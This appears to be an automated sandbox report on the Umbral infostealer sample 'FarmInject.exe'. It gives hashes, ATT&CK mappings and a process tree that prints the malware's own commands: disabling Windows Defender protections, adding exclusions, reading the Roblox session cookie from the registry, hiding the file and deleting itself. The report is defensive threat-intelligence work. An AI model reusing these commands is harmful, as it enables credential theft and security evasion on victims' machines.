umbral | 1bb943ec9c40c294f145ecaf7701ddb78e3569f6b0b0224117dbcafb970bd34b

Analysis

max time kernel
119s
max time network
120s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
19-07-2024 10:03

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General

Target

FarmInject.exe
Size

231KB
MD5

06266d2df2b7ca91e7b3b7a26b13d3f8
SHA1

bd85f02d1e81eae97d802bb23a24ab70fb054f45
SHA256

1bb943ec9c40c294f145ecaf7701ddb78e3569f6b0b0224117dbcafb970bd34b
SHA512

dc641d76013a3016479e86fa2d5b97280cb507abc1385bd0b63b713b167bd44f8189e6728a5c00001454dfe6ffaf3a818d13c4797ee0861948d9bcbf7528ce4b
SSDEEP

6144:RloZM+rIkd8g+EtXHkv/iD4fl9cw2xpaRPyAxVkkAb8e1mvcnr4vi:joZtL+EP8fl9cw2xpaRPyAxVkZecr46

Score

10^/10

umbral execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/3044-1-0x0000000000DC0000-0x0000000000E00000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2720	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	FarmInject.exe

Deletes itself 1 IoCs

pid	Process
2392	cmd.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
7	discord.com
8	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
4	ip-api.com

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
3036	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2432	PING.EXE

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
3044	FarmInject.exe
2720	powershell.exe
2676	powershell.exe
1696	powershell.exe
2736	powershell.exe
1740	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3044	FarmInject.exe
Token: SeIncreaseQuotaPrivilege	2680	wmic.exe
Token: SeSecurityPrivilege	2680	wmic.exe
Token: SeTakeOwnershipPrivilege	2680	wmic.exe
Token: SeLoadDriverPrivilege	2680	wmic.exe
Token: SeSystemProfilePrivilege	2680	wmic.exe
Token: SeSystemtimePrivilege	2680	wmic.exe
Token: SeProfSingleProcessPrivilege	2680	wmic.exe
Token: SeIncBasePriorityPrivilege	2680	wmic.exe
Token: SeCreatePagefilePrivilege	2680	wmic.exe
Token: SeBackupPrivilege	2680	wmic.exe
Token: SeRestorePrivilege	2680	wmic.exe
Token: SeShutdownPrivilege	2680	wmic.exe
Token: SeDebugPrivilege	2680	wmic.exe
Token: SeSystemEnvironmentPrivilege	2680	wmic.exe
Token: SeRemoteShutdownPrivilege	2680	wmic.exe
Token: SeUndockPrivilege	2680	wmic.exe
Token: SeManageVolumePrivilege	2680	wmic.exe
Token: 33	2680	wmic.exe
Token: 34	2680	wmic.exe
Token: 35	2680	wmic.exe
Token: SeIncreaseQuotaPrivilege	2680	wmic.exe
Token: SeSecurityPrivilege	2680	wmic.exe
Token: SeTakeOwnershipPrivilege	2680	wmic.exe
Token: SeLoadDriverPrivilege	2680	wmic.exe
Token: SeSystemProfilePrivilege	2680	wmic.exe
Token: SeSystemtimePrivilege	2680	wmic.exe
Token: SeProfSingleProcessPrivilege	2680	wmic.exe
Token: SeIncBasePriorityPrivilege	2680	wmic.exe
Token: SeCreatePagefilePrivilege	2680	wmic.exe
Token: SeBackupPrivilege	2680	wmic.exe
Token: SeRestorePrivilege	2680	wmic.exe
Token: SeShutdownPrivilege	2680	wmic.exe
Token: SeDebugPrivilege	2680	wmic.exe
Token: SeSystemEnvironmentPrivilege	2680	wmic.exe
Token: SeRemoteShutdownPrivilege	2680	wmic.exe
Token: SeUndockPrivilege	2680	wmic.exe
Token: SeManageVolumePrivilege	2680	wmic.exe
Token: 33	2680	wmic.exe
Token: 34	2680	wmic.exe
Token: 35	2680	wmic.exe
Token: SeDebugPrivilege	2720	powershell.exe
Token: SeDebugPrivilege	2676	powershell.exe
Token: SeDebugPrivilege	1696	powershell.exe
Token: SeDebugPrivilege	2736	powershell.exe
Token: SeIncreaseQuotaPrivilege	2828	wmic.exe
Token: SeSecurityPrivilege	2828	wmic.exe
Token: SeTakeOwnershipPrivilege	2828	wmic.exe
Token: SeLoadDriverPrivilege	2828	wmic.exe
Token: SeSystemProfilePrivilege	2828	wmic.exe
Token: SeSystemtimePrivilege	2828	wmic.exe
Token: SeProfSingleProcessPrivilege	2828	wmic.exe
Token: SeIncBasePriorityPrivilege	2828	wmic.exe
Token: SeCreatePagefilePrivilege	2828	wmic.exe
Token: SeBackupPrivilege	2828	wmic.exe
Token: SeRestorePrivilege	2828	wmic.exe
Token: SeShutdownPrivilege	2828	wmic.exe
Token: SeDebugPrivilege	2828	wmic.exe
Token: SeSystemEnvironmentPrivilege	2828	wmic.exe
Token: SeRemoteShutdownPrivilege	2828	wmic.exe
Token: SeUndockPrivilege	2828	wmic.exe
Token: SeManageVolumePrivilege	2828	wmic.exe
Token: 33	2828	wmic.exe
Token: 34	2828	wmic.exe

Suspicious use of WriteProcessMemory 39 IoCs

description	pid	Process	procid_target
PID 3044 wrote to memory of 2680	3044	FarmInject.exe	30
PID 3044 wrote to memory of 2680	3044	FarmInject.exe	30
PID 3044 wrote to memory of 2680	3044	FarmInject.exe	30
PID 3044 wrote to memory of 2768	3044	FarmInject.exe	33
PID 3044 wrote to memory of 2768	3044	FarmInject.exe	33
PID 3044 wrote to memory of 2768	3044	FarmInject.exe	33
PID 3044 wrote to memory of 2720	3044	FarmInject.exe	35
PID 3044 wrote to memory of 2720	3044	FarmInject.exe	35
PID 3044 wrote to memory of 2720	3044	FarmInject.exe	35
PID 3044 wrote to memory of 2676	3044	FarmInject.exe	37
PID 3044 wrote to memory of 2676	3044	FarmInject.exe	37
PID 3044 wrote to memory of 2676	3044	FarmInject.exe	37
PID 3044 wrote to memory of 1696	3044	FarmInject.exe	39
PID 3044 wrote to memory of 1696	3044	FarmInject.exe	39
PID 3044 wrote to memory of 1696	3044	FarmInject.exe	39
PID 3044 wrote to memory of 2736	3044	FarmInject.exe	41
PID 3044 wrote to memory of 2736	3044	FarmInject.exe	41
PID 3044 wrote to memory of 2736	3044	FarmInject.exe	41
PID 3044 wrote to memory of 2828	3044	FarmInject.exe	43
PID 3044 wrote to memory of 2828	3044	FarmInject.exe	43
PID 3044 wrote to memory of 2828	3044	FarmInject.exe	43
PID 3044 wrote to memory of 780	3044	FarmInject.exe	45
PID 3044 wrote to memory of 780	3044	FarmInject.exe	45
PID 3044 wrote to memory of 780	3044	FarmInject.exe	45
PID 3044 wrote to memory of 2164	3044	FarmInject.exe	47
PID 3044 wrote to memory of 2164	3044	FarmInject.exe	47
PID 3044 wrote to memory of 2164	3044	FarmInject.exe	47
PID 3044 wrote to memory of 1740	3044	FarmInject.exe	49
PID 3044 wrote to memory of 1740	3044	FarmInject.exe	49
PID 3044 wrote to memory of 1740	3044	FarmInject.exe	49
PID 3044 wrote to memory of 3036	3044	FarmInject.exe	51
PID 3044 wrote to memory of 3036	3044	FarmInject.exe	51
PID 3044 wrote to memory of 3036	3044	FarmInject.exe	51
PID 3044 wrote to memory of 2392	3044	FarmInject.exe	53
PID 3044 wrote to memory of 2392	3044	FarmInject.exe	53
PID 3044 wrote to memory of 2392	3044	FarmInject.exe	53
PID 2392 wrote to memory of 2432	2392	cmd.exe	55
PID 2392 wrote to memory of 2432	2392	cmd.exe	55
PID 2392 wrote to memory of 2432	2392	cmd.exe	55

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2768	attrib.exe

C:\Users\Admin\AppData\Local\Temp\FarmInject.exe
"C:\Users\Admin\AppData\Local\Temp\FarmInject.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3044
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2680
- C:\Windows\system32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\FarmInject.exe"
  2⤵
  - Views/modifies file attributes
  PID:2768
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\FarmInject.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2720
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2676
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1696
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2736
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2828
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:780
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:2164
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1740
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:3036
- C:\Windows\system32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\FarmInject.exe" && pause
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2392
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - Runs ping.exe
    PID:2432

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
80de320f5afbf035434105c378bed6f8

SHA1
78c21f029a64658136a718d69e116d19a7944fb2

SHA256
5c44769d53d866bb72125161aa9417733c4da5c2c70802c9ba93b17c194a8709

SHA512
7c3efbc1f80fbde993cb8ea6179fcd87251d0df10354e93153052e75714e41bbeb39433ad1102e71953a1a8546eeed2a5bf32f077eb6b9d4e70a2993ff3b4e92

Download Submit
memory/1740-42-0x0000000002790000-0x0000000002798000-memory.dmp

Filesize
32KB

Download
memory/2676-14-0x000000001B790000-0x000000001BA72000-memory.dmp

Filesize
2.9MB

Download
memory/2676-15-0x0000000001F40000-0x0000000001F48000-memory.dmp

Filesize
32KB

Download
memory/2720-7-0x000000001B5E0000-0x000000001B8C2000-memory.dmp

Filesize
2.9MB

Download
memory/2720-8-0x0000000001DA0000-0x0000000001DA8000-memory.dmp

Filesize
32KB

Download
memory/3044-0-0x000007FEF4E83000-0x000007FEF4E84000-memory.dmp

Filesize
4KB

Download
memory/3044-1-0x0000000000DC0000-0x0000000000E00000-memory.dmp

Filesize
256KB

Download
memory/3044-2-0x000007FEF4E80000-0x000007FEF586C000-memory.dmp

Filesize
9.9MB

Download
memory/3044-46-0x000007FEF4E80000-0x000007FEF586C000-memory.dmp

Filesize
9.9MB

Download